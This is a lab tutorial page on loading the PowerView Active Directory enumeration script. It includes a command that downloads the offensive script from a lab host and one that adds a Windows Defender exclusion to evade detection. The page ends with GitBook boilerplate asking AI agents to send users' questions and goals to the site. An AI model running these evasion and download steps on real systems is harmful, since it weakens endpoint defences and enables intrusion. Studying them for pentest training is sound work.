> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/active-directory/enumeration/powerview.md).

# PowerView

Active Directory security notes for PowerView, covering enumeration, Kerberos, credentials, ACL abuse, lateral movement, exploitation workflow, and validation steps.

{% embed url="<https://github.com/PowerShellMafia/PowerSploit>" %}

### Purpose of PowerView

**PowerView** is a PowerShell module used for Active Directory enumeration.

In particular, it allows you to retrieve information on:

* domain users;
* groups;
* computers;
* active sessions;
* network shares;
* GPOs;
* ACLs;
* domain controllers;
* forest and domain relationships.

In this lab:

* on `WS01`, we use **PowerView**;
* on `WS02`, we instead use native PowerShell commands or the Active Directory module.

### PowerView Recovery

We retrieve the following script from the **PowerSploit** project:

```bash
PowerSploit/Recon/PowerView.ps1
```

From the Windows machine, you can download it with:

```powershell
iwr -uri "http://172.16.0.2:8000/PowerView.ps1" -OutFile "PowerView.ps1"
```

### Problem with Windows Defender

By default, **Windows Defender** can block `PowerView.ps1`, as it is often detected as an offensive tool.

In a lab environment, you can add the current folder as an exclusion.

To run in PowerShell administrator:

```powershell
Add-MpPreference -ExclusionPath (Get-Location).Path
```

Then, we import PowerView:

```powershell
. ./PowerView.ps1
```

The dot followed by a space loads the script functions into the current PowerShell session.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a835cd859d78532aefcbf444252a9ac1cdba5b40%2Fimage%20(3195).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/active-directory/enumeration/powerview.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.